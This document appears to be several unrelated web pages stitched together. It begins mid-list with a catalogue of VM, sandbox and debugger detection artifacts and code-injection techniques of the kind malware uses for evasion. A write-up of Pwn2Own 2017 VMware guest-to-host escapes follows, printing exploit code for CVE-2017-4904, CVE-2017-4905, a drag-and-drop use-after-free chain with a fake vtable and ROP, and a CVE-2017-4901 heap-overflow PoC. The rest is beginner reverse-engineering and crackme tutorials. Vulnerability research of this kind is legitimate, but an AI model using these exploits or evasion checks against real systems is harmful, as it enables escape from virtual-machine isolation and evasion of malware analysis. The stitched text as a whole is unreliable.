    • HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0 (Identifier) (VMWARE)
    • SYSTEM\ControlSet001\Control\SystemInformation (SystemManufacturer) (VMWARE)
    • SYSTEM\ControlSet001\Control\SystemInformation (SystemProductName) (VMWARE)
  • Registry Keys artifacts
    • SOFTWARE\Oracle\VirtualBox Guest Additions (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxGuest (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxMouse (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxService (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxSF (VBOX)
    • SYSTEM\ControlSet001\Services\VBoxVideo (VBOX)
    • SOFTWARE\VMware, Inc.\VMware Tools (VMWARE)
    • SOFTWARE\Wine (WINE)
    • SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters (HYPER-V)
  • File system artifacts
    • «system32\drivers\VBoxMouse.sys»
    • «system32\drivers\VBoxGuest.sys»
    • «system32\drivers\VBoxSF.sys»
    • «system32\drivers\VBoxVideo.sys»
    • «system32\vboxdisp.dll»
    • «system32\vboxhook.dll»
    • «system32\vboxmrxnp.dll»
    • «system32\vboxogl.dll»
    • «system32\vboxoglarrayspu.dll»
    • «system32\vboxoglcrutil.dll»
    • «system32\vboxoglerrorspu.dll»
    • «system32\vboxoglfeedbackspu.dll»
    • «system32\vboxoglpackspu.dll»
    • «system32\vboxoglpassthroughspu.dll»
    • «system32\vboxservice.exe»
    • «system32\vboxtray.exe»
    • «system32\VBoxControl.exe»
    • «system32\drivers\vmmouse.sys»
    • «system32\drivers\vmhgfs.sys»
    • «system32\drivers\vm3dmp.sys»
    • «system32\drivers\vmci.sys»
    • «system32\drivers\vmhgfs.sys»
    • «system32\drivers\vmmemctl.sys»
    • «system32\drivers\vmmouse.sys»
    • «system32\drivers\vmrawdsk.sys»
    • «system32\drivers\vmusbmouse.sys»
  • Directories artifacts
    • «%PROGRAMFILES%\oracle\virtualbox guest additions\»
    • «%PROGRAMFILES%\VMWare\»
  • Memory artifacts
    • Interupt Descriptor Table (IDT) location
    • Local Descriptor Table (LDT) location
    • Global Descriptor Table (GDT) location
    • Task state segment trick with STR
  • MAC Address
    • «\x08\x00\x27» (VBOX)
    • «\x00\x05\x69» (VMWARE)
    • «\x00\x0C\x29» (VMWARE)
    • «\x00\x1C\x14» (VMWARE)
    • «\x00\x50\x56» (VMWARE)
    • «\x00\x1C\x42» (Parallels)
    • «\x00\x16\x3E» (Xen)
  • Virtual devices
    • «\\.\VBoxMiniRdrDN»
    • «\\.\VBoxGuest»
    • «\\.\pipe\VBoxMiniRdDN»
    • «\\.\VBoxTrayIPC»
    • «\\.\pipe\VBoxTrayIPC»)
    • «\\.\HGFS»
    • «\\.\vmci»
  • Hardware Device information
    • SetupAPI SetupDiEnumDeviceInfo (GUID_DEVCLASS_DISKDRIVE)
      • QEMU
      • VMWare
      • VBOX
      • VIRTUAL HD
  • System Firmware Tables
    • SMBIOS string checks (VirtualBox)
    • SMBIOS string checks (VMWare)
    • SMBIOS string checks (Qemu)
    • ACPI string checks (VirtualBox)
    • ACPI string checks (VMWare)
    • ACPI string checks (Qemu)
  • Driver Services
    • VirtualBox
    • VMWare
  • Adapter name
    • VMWare
  • Windows Class
    • VBoxTrayToolWndClass
    • VBoxTrayToolWnd
  • Network shares
    • VirtualBox Shared Folders
  • Processes
    • vboxservice.exe (VBOX)
    • vboxtray.exe (VBOX)
    • vmtoolsd.exe(VMWARE)
    • vmwaretray.exe(VMWARE)
    • vmwareuser(VMWARE)
    • VGAuthService.exe (VMWARE)
    • vmacthlp.exe (VMWARE)
    • vmsrvc.exe(VirtualPC)
    • vmusrvc.exe(VirtualPC)
    • prl_cc.exe(Parallels)
    • prl_tools.exe(Parallels)
    • xenservice.exe(Citrix Xen)
    • qemu-ga.exe (QEMU)
  • WMI
    • SELECT * FROM Win32_Bios (SerialNumber) (GENERIC)
    • SELECT * FROM Win32_PnPEntity (DeviceId) (VBOX)
    • SELECT * FROM Win32_NetworkAdapterConfiguration (MACAddress) (VBOX)
    • SELECT * FROM Win32_NTEventlogFile (VBOX)
    • SELECT * FROM Win32_Processor (NumberOfCores) (GENERIC)
    • SELECT * FROM Win32_LogicalDisk (Size) (GENERIC)
    • SELECT * FROM Win32_Computer (Model and Manufacturer) (GENERIC)
    • SELECT * FROM MSAcpi_ThermalZoneTemperature CurrentTemperature) (GENERIC)
  • DLL Exports and Loaded DLLs
    • avghookx.dll (AVG)
    • avghooka.dll (AVG)
    • snxhk.dll (Avast)
    • kernel32.dll!wine_get_unix_file_nameWine (Wine)
    • sbiedll.dll (Sandboxie)
    • dbghelp.dll (MS debugging support routines)
    • api_log.dll (iDefense Labs)
    • dir_watch.dll (iDefense Labs)
    • pstorec.dll (SunBelt Sandbox)
    • vmcheck.dll (Virtual PC)
    • wpespy.dll (WPE Pro)
  • CPU
    • Hypervisor presence using (EAX=0x1)
    • Hypervisor vendor using (EAX=0x40000000)
      • «KVMKVMKVM\0\0\0» (KVM)
        • «Microsoft Hv»(Microsoft Hyper-V or Windows Virtual PC)
        • «VMwareVMware»(VMware)
        • «XenVMMXenVMM»(Xen)
        • «prl hyperv «( Parallels) -«VBoxVBoxVBox»( VirtualBox)


  • Processes
    • OllyDBG / ImmunityDebugger / WinDbg / IDA Pro
    • SysInternals Suite Tools (Process Explorer / Process Monitor / Regmon / Filemon, TCPView, Autoruns)
    • Wireshark / Dumpcap
    • ProcessHacker / SysAnalyzer / HookExplorer / SysInspector
    • ImportREC / PETools / LordPE
    • JoeBox Sandbox

Macro malware attacks

  • Document_Close / Auto_Close.
  • Application.RecentFiles.Count

Code/DLL Injections techniques

  • CreateRemoteThread
  • SetWindowsHooksEx
  • NtCreateThreadEx
  • RtlCreateUserThread
  • APC (QueueUserAPC / NtQueueApcThread)
  • RunPE (GetThreadContext / SetThreadContext)



A bunch of Red Pills: VMware Escapes


VMware is one of the leaders in virtualization nowadays. They offer VMware ESXi for cloud, and VMware Workstation and Fusion for Desktops (Windows, Linux, macOS).
The technology is very well known to the public: it allows users to run unmodified guest “virtual machines”.
Often those virtual machines are not trusted, and they must be isolated.
VMware goes to a great deal to offer this isolation, especially on the ESXi product where virtual machines of different actors can potentially run on the same hardware. So a strong isolation of is paramount importance.

Recently at Pwn2Own the “Virtualization” category was introduced, and VMware was among the targets since Pwn2Own 2016.

In 2017 we successfully demonstrated a VMware escape from a guest to the host from a unprivileged account, resulting in executing code on the host, breaking out of the virtual machine.

If you escape your virtual machine environment then all isolation assurances are lost, since you are running code on the host, which controls the guests.

But how VMware works?

In a nutshell it often uses (but they are not strictly required) CPU and memory hardware virtualization technologies, so a guest virtual machine can run code at native speed most of the time.

But a modern system is not just a CPU and Memory, it also requires lot of other Hardware to work properly and be useful.

This point is very important because it will consist of one of the biggest attack surfaces of VMware: the virtualized hardware.

Virtualizing a hardware device is not a trivial task. It’s easily realized by reading any datasheet for hardware software interface for a PC hardware device.

VMware will trap on I/O access on this virtual device and it needs to emulate all those low level operations correctly, since it aims to run unmodified kernels, its emulated devices must behave as closely as possible to their real counterparts.

Furthermore if you ever used VMware you might have noticed its copy paste capabilities, and shared folders. How those are implemented?

To summarize, in this blog post we will cover quite some bugs. Both in this “backdoor” functionalities that support those “extra” services such as C&P, and one in a virtualized device.

Altough recently lot of VMware blogpost and presentations were released, we felt the need to write our own for the following reasons:

  • First, no one ever talked correctly about our Pwn2Own bugs, so we want to shed light on them.
  • Second, some of those published resources either lack of details or code.

So we hope you will enjoy our blogpost!

We will begin with some background informations to get you up to speed.

Let’s get started!

Overall architecture

A complex product like VMware consists of several components, we will just highlight the most important ones, since the VMware architecture design has already been discussed extensively elsewhere.

  • VMM: this piece of software runs at the highest possible privilege level on the physical machine. It makes the VMs tick and run and also handles all the tasks which are impossible to perform from the host ring 3 for example.
  • vmnat: vmnat is responsible for the network packet handling, since VMware offers advanced functionalities such as NAT and virtual networks.
  • vmware-vmx: every virtual machine started on the system has its own vmware-vmx process running on the host. This process handles lot of tasks which are relevant for this blogpost, including lot of the device emulation, and backdoor requests handling. The result of the exploitation of the chains we will present will result in code execution on the host in the context of vmware-vmx.


The so called backdoor, it’s not actually a “backdoor”, it’s simply a mechanism implemented in VMware for guest-host and host-guest communication.

A useful resource for understanding this interface is the open-vm-tools repository by VMware itself.

Basically at the lower level, the backdoor consists of 2 IO ports 0x5658 and 0x5659, the first for “traditional” communication, the other one for “high bandwidth” ones.

The guest issues in/out instructions on those ports with some registers convention and it’s able to communicate with the VMware running on the host.

The hypervisor will trap and service the request.

On top of this low level mechanism, vmware implemented some more convenient high level protocols, we encourage you to check the open-vm-tools repository to discover those since they were covered extensively elsewhere we will not spend too much time covering the details.
Just to mention a few of those higher level protocols: drag and drop, copy and paste, guestrpc.

The fundamental points to remember are:

  • It’s a interface guest-host that we can use
  • It exposes complex services and functionalities.
  • Lot of these functionalities can be used from ring3 in the guest VM


xHCI (aka eXtensible Host Controller Interface) is a specification of a USB host controller (normally implemented in hardware in normal PC) by Intel which supports USB 1.x, 2.0 and 3.x.

You can find the relevant specification here.

On a physical machine it’s often present:

00:14.0 USB controller: Intel Corporation C610/X99 series chipset USB xHCI Host Controller (rev 05)

In VMware this hardware device is emulated, and if you create a Windows 10 virtual machine, this emulated controller is enabled by default, so a guest virtual machine can interact with this particular emulated device.

The interaction, like with a lot of hardware devices, will take place in the PCI memory space and in the IO memory mapped space.

This very low level interface is the one used by the OS kernel driver in order to schedule usb work, and receive data and all the tasks related to USB.

Just by looking at the specifications alone, which are more than 600 pages, it’s no surprise that this piece of hardware and its interface are very complex, and the specifications just covers the interface and the behavior, not the actual implementation.

Now imagine actually emulating this complex hardware. You can imagine it’s a very complex and error prone task, as we will see soon.

Often to speak directly with the hardware (and by consequence also virtualized hardware), you need to run in ring0 in the guest. That’s why (as you will see in the next paragraphs) we used a Windows Kernel LPE inside the VM.


VMware ships with “baseline” mitigations which are expected in modern software, such as ASLR, stack cookies etc.

More advanced Windows mitigations such as CFG, Microsoft version of Control Flow Integrity and others, are not deployed at the time of writing.

Pwn2Own 2017: VMware Escape by two bugs in 1 second

Team Sniper (Keen Lab and PC Mgr) targeting VMware Workstation (Guest-to-Host), and the event certainly did not end with a whimper. They used a three-bug chain to win the Virtual Machine Escapes (Guest-to-Host) category with a VMware Workstation exploit. This involved a Windows kernel UAF, a Workstation infoleak, and an uninitialized buffer in Workstation to go guest-to-host. This category ratcheted up the difficulty even further because VMware Tools were not installed in the guest.

The following vulnerabilities were identified and analyzed:

  • XHCI: CVE-2017-4904 critical Uninitialized stack value leading to arbitrary code execution
  • CVE-2017-4905 moderate Uninitialized memory read leading to information disclosure

CVE-2017-4904 xHCI uninitialized stack variable

This is an uninitialized variable vulnerability residing in the emulated XHCI device, when updating the changes of Device Context into the guest physical memory.

The XHCI reports some status info to system software through “Device Context” structure. The address of a Device Context is in the DCBAA (Device Context Base Address Array), whose address is in the DCBAAP (Device Context Base Address Array Pointer) register. Both the Device Context and DCBAA resides in the physical RAM. And the XHCI device will keep an internal cache of the Device Context and only updates the one in physical memory when some changes happen. When updating the Device Context, the virtual machine monitor will map the guest physical memory containing the Device Context into the memory space of the monitor process, then do the update. However the mapping could fail and leave the result variable untouched. The code does not take precaution against it and directly uses the result as a destination address for memory writing, resulting an uninitialized variable vulnerability.

To trigger this bug, the following steps should be taken:

  1. Issue a “Enable Slot” command to XHCI. Get the result slot number from Event TRB.
  2. Set the DCBAAP to point to a controlled buffer.
  3. Put some invalid physical address, eg. 0xffffffffffffffff, into the corresponding slot in the DCBAA buffer.
  4. Issue an “Address Device” command. The XHCI will read the base address of Device Context from DCBAA to an internal cache and the value is an controlled invalid address.
  5. Issue an “Configure Endpoint” command. Trigger the bug when XHCI updates the corresponding Device Context.

The uninitialized variable resides on the stack. Its value can be controlled in the “Configure Endpoint” command with one of the Endpoint Context of the Input Context which is also on the stack. Therefore we can control the destination address of the write. And the contents to be written are from the Endpoint Context of the Device Context, which is copied from the corresponding controllable Endpoint Context of the Input Context, resulting a write-what-where primitive. By combining with the info leak vulnerability, we can overwrite some function pointers and finally rop to get arbitrary code execution.

Exploit code

void write_what_where(uint64 xhci_base, uint64 where, uint64 what)
    xhci_cap_regs *cap_regs = (xhci_cap_regs*)xhci_base;
    xhci_op_regs *op_regs = (xhci_op_regs*)(xhci_base + (cap_regs->hc_capbase & 0xff));
    xhci_doorbell_array *db = (xhci_doorbell_array*)(xhci_base + cap_regs->db_off);
    int max_slots = cap_regs->hcs_params1 & 0xf;
    uint8 *playground = (uint8 *)ExAllocatePoolWithTag(NonPagedPool, 0x1000, 'NEEK');
    if (!playground) return;
    playground[0] = 0;
    uint64 *dcbaa = (uint64*)playground;
    playground += sizeof(uint64) * max_slots;
    for (int i = 0; i < max_slots; ++i)
        dcbaa[i] = 0xffffffffffffffc0;
    op_regs->dcbaa_ptr = MmGetPhysicalAddress(dcbaa).QuadPart;
    playground = (uint8*)(((uint64)playground + 0x10) & (~0xf));
    input_context *input_ctx = (input_context*)playground;
    playground += sizeof(input_context);
    playground = (uint8*)(((uint64)playground + 0x40) & (~0x3f));
    uint8 *cring = playground;
    uint64 cmd_ring = MmGetPhysicalAddress(cring).QuadPart | 1;
    trb_t *cmd = (trb_t*)cring;
    memset((void*)cmd, 0, sizeof(trb_t));
    TRB_SET(C, cmd, 1);
    memset(input_ctx, 0, sizeof(input_context));
    input_ctx->ctrl_ctx.drop_flags = 0;
    input_ctx->ctrl_ctx.add_flags = 3;
    input_ctx->slot_ctx.context_entries = 1;
    memset((void*)cmd, 0, sizeof(trb_t));
    TRB_SET(ID, cmd, 1);
    TRB_SET(DC, cmd, 1);
    cmd->ptr = MmGetPhysicalAddress(input_ctx).QuadPart;
    TRB_SET(C, cmd, 1);
    TRB_SET(C, cmd, 0);
    op_regs->cmd_ring = cmd_ring;
    db.doorbell[0] = 0;
    cmd = (trb_t*)cring;
    memset(input_ctx, 0, sizeof(input_context));
    input_ctx->ctrl_ctx.drop_flags = 0;
    input_ctx->ctrl_ctx.add_flags = (1u<<31)|(1u<<30);
    input_ctx->slot_ctx.context_entries = 31;
    uint64 *value = (uint64*)(&input_ctx->ep_ctx[30]);
    uint64 *addr = ((uint64*)(&input_ctx->ep_ctx[31])) + 1;
    value[0] = 0;
    value[1] = what;
    value[2] = 0;
    addr[0] = where - 0x3b8;
    memset((void*)cmd, 0, sizeof(trb_t));
    TRB_SET(ID, cmd, 1);
    TRB_SET(DC, cmd, 0);
    cmd->ptr = MmGetPhysicalAddress(input_ctx).QuadPart;
    TRB_SET(C, cmd, 1);
    TRB_SET(C, cmd, 0);
    op_regs->cmd_ring = cmd_ring;
    db.doorbell[0] = 0;

CVE-2017-4905 Backdoor uninitialized memory read

This is an uninitialized memory vulnerability present in the Backdoor callback handler. A buffer will be allocated on the stack when processing the backdoor requests. This buffer should be initialized in the BDOORHB callback. But when requesting invalid commands, the callback fails to properly clear the buffer, causing the uninitialized content of the stack buffer to be leaked to the guest. With this bug we can effectively defeat the ASLR of vmware-vmx running on the host. The successful rate to exploit this bug is 100%.

Credits to JunMao of Tencent PCManager.


void infoleak()
    char *buf = (char *)VirtualAlloc(0, 0x8000, MEM_COMMIT, PAGE_READWRITE);
    memset(buf, 0, 0x8000);
    Backdoor_proto_hb hb;
    memset(&hb, 0, sizeof(Backdoor_proto_hb));
    hb.in.size = 0x8000;
    hb.in.dstAddr = (uintptr_t)buf;
    hb.in.bx.halfs.low = 2;
    // buf will be filled with contents leaked from vmware-vmx stack
    VirtualFree((void *)buf, 0x8000, MEM_DECOMMIT);

Behind the scenes of Pwn2Own 2017

Exploit the UAF bug in VMware Workstation Drag n Drop with single bug

By fuzzing VMware workstation, we found this bug and complete the whole stable exploit chain using this single bug in the last few days of Feb. 2017. Unfortunately this bug was patched in VMware workstation 12.5.3 released on 9 Mar. 2017. After we noticed few papers talked about this bug, and VMware even have no CVE id assigned to this bug. That’s such a pity because it’s the best bug we have ever seen in VMware workstaion, and VMware just patched it quietly. Now we’re going to talk about the way to exploit VMware Workstation with this single bug.

Exploit Code

This exploit successful rate is approximately 100%.

char *initial_dnd = "tools.capability.dnd_version 4";
static const int cbObj = 0x100;
char *second_dnd = "tools.capability.dnd_version 2";
char *chgver = "vmx.capability.dnd_version";
char *call_transport = "dnd.transport ";
char *readstring = "ToolsAutoInstallGetParams";
typedef struct _DnDCPMsgHdrV4
    char magic[14];
    char dummy[2];
    size_t ropper[13];
    char shellcode[175];
    char padding[0x80];
} DnDCPMsgHdrV4;

void PrepareLFH()
    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    for (int idx = 0; idx < 1; ++idx) // just occupy 1
        char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj);
        RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4

size_t infoleak()
#define MAX_LFH_BLOCK 512
    Message_Channel *chans[5] = {0};
    for (int i = 0; i < 5; ++i)
        chans[i] = Message_Open(0x49435052);
        if (chans[i])
            Message_SendSize(chans[i], cbObj - 1); //just alloc
            Message_Close(chans[i - 1]); //keep 1 channel valid
            chans[i - 1] = 0;
    PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block
    for (int i = 0; i < 5; ++i)
        if (chans[i])

    char *result = NULL;
    char *pObj = malloc(cbObj);
    memset(pObj, 'A', cbObj);
    pObj[cbObj - 1] = 0;
    char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj);
    while (1)
        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
            RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
            RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
            RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
            RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);

        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
            Message_Channel *chan = Message_Open(0x49435052);
            if (chan == NULL)
                puts("Message send error!");
                Message_SendSize(chan, cbObj - 1);
                Message_RawSend(chan, "\xA0\x75", 2); //just ret
        Message_Channel *chan = Message_Open(0x49435052);
        Message_SendSize(chan, cbObj - 1);
        Message_RawSend(chan, "\xA0\x74", 2);                                 //free
        RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free
        for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i)
            RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL);
            Message_RawSend(chan, "B", 1);
            RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
            if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj))
               Message_Close(chan); //free the string
                for (int i = 0; i < MAX_LFH_BLOCK; ++i)
                    puts("Trying to leak vtable");
                    RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL);
                    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
                    RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
                    size_t p = 0;
                    if (result)
                        memcpy(&p, result, min(strlen(result), 8));
                        printf("Leak content: %p\n", p);
                    size_t low = p & 0xFFFF;
                    if (low == 0x74A8 || //RpcBase
                        low == 0x74d0 || //CpV4
                        low == 0x7630)   //DnDV4
                        printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000);
                        return (p & (~0xFFFF)) - 0x7a0000;
                    RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL);
                    RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
    return 0;

void exploit(size_t base)
    char *result = NULL;
    char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141);
    char *pObj = malloc(cbObj);
    memset(pObj, 0, cbObj);

    DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4));
    memset(hdr, 0, sizeof(DnDCPMsgHdrV4));
    memcpy(hdr->magic, call_transport, strlen(call_transport));
    while (1)
        RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL);
        RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
        for (int i = 0; i < MAX_LFH_BLOCK; ++i)
            Message_Channel *chan = Message_Open(0x49435052);
            Message_SendSize(chan, cbObj - 1);
            size_t fake_vtable[] = {
                base + 0xB87340,
                base + 0xB87340,
                base + 0xB87340,
                base + 0xB87340};

            memcpy(pObj, &fake_vtable, sizeof(size_t) * 4);

            Message_RawSend(chan, pObj, sizeof(size_t) * 4);
        RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL);
        RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL);
        //check pwn success?
        RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL);
        if (*(size_t *)result == 0xdeadbeefc0debabe)
            puts("VMware escape success! \nPwned by KeenLab, Tencent");
            RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem
            RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);
        //host dndv4 fill in, try to clean up and free again
        puts("Object wrong! Retry...");
        RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);
        RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL);

int main(int argc, char *argv[])
    int ret = 1;
        while (1)
            size_t base = 0;
                base = infoleak();
            } while (!base);
    __except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
        fprintf(stderr, NOT_VMWARE_ERROR);
        return 1;
    return ret;

CVE-2017-4901 DnDv3 HeapOverflow

The drag-and-drop (DnD) function in VMware Workstation and Fusion has an out-of-bounds memory access vulnerability. This may allow a guest to execute code on the operating system that runs Workstation or Fusion.

After VMware released 12.5.3, we continued auditing the DnD and finally found another heap overflow bug similar to CVE-2016-7461. This bug was known by almost every participants of VMware category in Pwn2own 2017. Here we present the PoC of this bug.

void poc()
    int n;
    char *req1 = "tools.capability.dnd_version 3";
    char *req2 = "vmx.capability.dnd_version";
    RpcOut_SendOneRaw(req1, strlen(req1), NULL, NULL);
    RpcOut_SendOneRaw(req2, strlen(req2), NULL, NULL);

    char req3[0x80] = "dnd.transport ";
    n = strlen(req3);
    *(int*)(req3+n) = 3;
    *(int*)(req3+n+4) = 0;
    *(int*)(req3+n+8) = 0x100;
    *(int*)(req3+n+0xc) = 0;
    *(int*)(req3+n+0x10) = 0;
    // allocate buffer of 0x100 bytes
    RpcOut_SendOneRaw(req3, n+0x14, NULL, NULL);

    char req4[0x1000] = "dnd.transport ";
    n = strlen(req4);
    *(int*)(req4+n) = 3;
    *(int*)(req4+n+4) = 0;
    *(int*)(req4+n+8) = 0x1000;
    *(int*)(req4+n+0xc) = 0x800;
    *(int*)(req4+n+0x10) = 0;
    for (int i = 0; i < 0x800; ++i)
        req4[n+0x14+i] = 'A';
    // overflow with 0x800 bytes of 'A'
    RpcOut_SendOneRaw(req4, n+0x14+0x800, NULL, NULL);


In this article we presented several VMware bugs leading to guest to host virtual machine escape.
We hope to have demonstrated that not only VM breakouts are possible and real, but also that a determined attacker can achieve multiple of them, and with good reliability.
We feel that in our industry there is the misconception that if untrusted software runs inside a VM, then we will be safe.
Think about the malware industry, which heavily relies on VMs for analysis, or the entire cloud which basically runs on hypervisors.
For sure it’s an additional protection layer, raising the bar for an attacker to get full compromise, so it’s a very good practice to adopt it.
But we must not forget that essentially it’s just another “layer of sandboxing” which can be bypassed or escaped.
So great care must be taken to secure also this security layer.

Reverse Engineering x64 for Beginners – Windows

In this post, I will be using x64dbg since I wasn’t able to find a version of x64 Immunity debugger or Olly Debugger to reverse engineer the binary. However, below are alternatives along with the download links which you can choose. If you are able to find other x64 debuggers for windows, do add them in the comment and I will mention them here.:

  1. Immunity Debugger
  2. Olly Debugger
  3. IDA Pro
  4. WinDBG
  5. X64dbg

Immunity Debugger is an awesome tool if you are debugging x86 binaries. However, since we are only focusing on x64, we will have to use x64dbg which supports both x86 and x64 disassembly.

Once you have downloaded the required debugger, you can compile the source code which is uploaded on my Git repo here. You can compile the binary in Windows with the below command:

$ g++ crack_me.cpp -o crack_mex64.exe -static -m64

Make sure you use a 64-bit version of g++ compiler else it will compile but won’t work. You can also download the binary from my repo mentioned above. I prefer to use the Mingw-x64 compiler, but some also use clang x64. It all boils down to the preference of which one you are familiar with.


Once you have compiled the binary, let’s load it up in x64dbg. Remember, that our binary accepts an argument which is our password. So, unlike GDB where we can supply the argument inside the GDB; in Windows, we will have to supply it during the loading of binary via the command line itself.

To load the binary into x64dbg, below is the commandline you can use:

.\x64dbg.exe crack_mex64.exe pass123

Once, the binary is loaded, you will see six windows by default. Let me quickly explain what these windows are:

The top left window displays the disassembled code. This is the same as disassemble main in GDB. It will walk you through the entire assembly code of the binary. The top right window contains the values of the registers. Since we are debugging a x64 binary, the values of x86 registers for example EAX or ECX will be inside of RAX or RCX itself.

The middle two windows, left one shows you the .text section of the assembly code, and right one shows the fastcalls in x64 assembly. Fastcalls are x64 calling conventions which is done between just 4 registers. I would recommend skipping this if you are A beginner. However for the curious cats, more information can be found here.

The bottom left window displays the memory dump of the binary, and the bottom right shows the stack. Whenever variables are passed on to another function, you will see them here.

Once, the above screen is loaded, we will first search for strings in our binary. We know a few strings when we executed the binary i.e. ‘Incorrect password’, or ‘Correct password’ or ‘help’. As for now, our primary aim is to find the actual password and secondary aim is to modify the RAX register to Zero, to display ‘Correct Password’ since our check_pass() function returns 0 or 1 depending upon whether the password is right or wrong.

To search for strings, right click anywhere in the disassembled code -> Search for -> All Modules ->String References

This will bring you to the below screen where it shows you the string Incorrect Password. Since we know there will be a comparison between our input password and the original password before printing whether the password is correct or not, we need to find the same from the disassembled code to view the registers and the stack to search for the cleartext password. Now right click on the ‘Incorrect Password’ area and select Follow in Disassembler. This will display the below screen in the disassembly area:

What I have done over here in the above image, is I’ve added a breakpoint at 00000000004015F6. The main reason for that is because I can see a jmp statement and a call statement right above it. This means that a function was called before reaching this point and the last function to be executed before the printing of ‘Correct/Incorrect password’ is the check_pass() function. So, this is the point where our interesting function starts. Lets just hit on the run button till it reaches this breakpoint execution.

Once, you’ve reached this breakpoint, hit stepi (F7) till you reach the mov RCX, RAX or 0000000000401601 address. Once it is there, you can see our password pass123 loaded on to the RCXregister from RAX register. This is nothing but our argument loaded into the function check_pass(). Now, keep stepping into the next registers till you reach the address 0000000000401584, which is where our plaintext password gets loaded into the RAX register.

You can see on the top right window that our password ‘pass123’ and original password ‘PASSWORD1’ is loaded onto the registers RCX and RAX for comparison. The completes our primary motive of getting the plaintext password. Now since our passwords are different, it will be printing out ‘Incorrect password’. We now need to modify the return value of 1 to 0 which is returned by the check_pass() function. If you see the above image, 3 lines below our code where the password is loaded onto the register, you will test EAX, EAX at address 0000000000401590. And we see two jump statements after them. So, if the test value returns they are equal, it will jump (je = jump if equal) to crack_m3x64.40159B which is where it will mov 0 to the EAX register. But since the password we entered is wrong, it will not jump there and continue to the next code segment where it will move 1 to EAX i.e. at address 0000000000401594. So, we just setup a breakpoint on this address by right clicking and selecting breakpoint -> toggle since we need to modify the register value at that point and continue running the binary till it hits that breakpoint:

Once, this breakpoint is hit, you will the value 1 loaded into the RAX register on the right-hand side. The EAX is a 32 bit register which is the last 32 bits of the RAX register. In short,

RAX = 32 bits + EAX

EAX = 16 bits + AX

AX = AH(8 bits) + AL(8 bits)

and so on.

Therefore, when 1 is loaded into EAX, it by default goes into RAX register. Finally, we can just select the RAX register on the right-hand side, right click and decrement it to Zero.


And then you should see that RAX is changed to Zero. Now continue running the binary till it reaches the point where it checks the return value of the binary as to whether its Zero or One, which is at address 000000000040160C. You can see in the below image that it uses cmp to check if the value matches to 1.

It uses the jne (jump if not equal) condition, which means it will jump to crack_mex64.401636 if its is not equal to One. And crack_mex64.401636 is nothing but our printing of ’Correct Password’ at address 0000000000401636. You can also see in the register that our password is still pass123 and inspite of that it has printed it’s the correct password.

This would be it for the cracking session of windows for this blog. In the next blog, we will be looking at a bit more complex examples rather than finding just plaintext passwords from binaries.

Reverse Engineering Advanced Programming Concepts

BOLO: Reverse Engineering — Part 2 (Advanced Programming Concepts)


Throughout this article we will be breaking down the following programming concepts and analyzing the decompiled assembly versions of each instruction:

  1. Arrays
  2. Pointers
  3. Dynamic Memory Allocation
  4. Socket Programming (Network Programming)
  5. Threading

For the Part 1 of the BOLO: Reverse Engineering series, please click here.

Please note: While this article uses IDA Pro to disassemble the compiled code, many of the features of IDA Pro (i.e. graphing, pseudocode translation, etc.) can be found in plugins and builds for other free disassemblers such as radare2. Furthermore, while preparing for this article I took the liberty of changing some variable names in the disassembled code from IDA presets like “v20” to what they correspond to in the C code. This was done to make each portion easier to understand. Finally, please note that this C code was compiled into a 64 bit executable and disassembled with IDA Pro’s 64 bit version. This can be especially seen when calculating array sizes, as the 32 bit registers (i.e. eax) are often doubled in size and transformed into 64 bit registers (i.e rax).

Ok, Let’s begin!

While Part 1 broke down and described basic programming concepts like loops and IF statements, this article is meant to explain more advanced topics that you would have to decipher when reverse engineering.


Let’s begin with Arrays, First, let’s take a look at the code as a whole:

Basic Arrays — Code

Now, let’s take a look at the decompiled assembly as a whole:

Basic Arrays — Decompiled assembly overview

As you can see, the 12 lines of code turned into quite a large block of code. But don’t be intimidated! Remember, all we’re doing here is setting up arrays!

Let’s break it down bit by bit:

Declaring an array with a literal — disassembled

When initializing an array with an integer literal, the compiler simply initializes the length through a local variable.

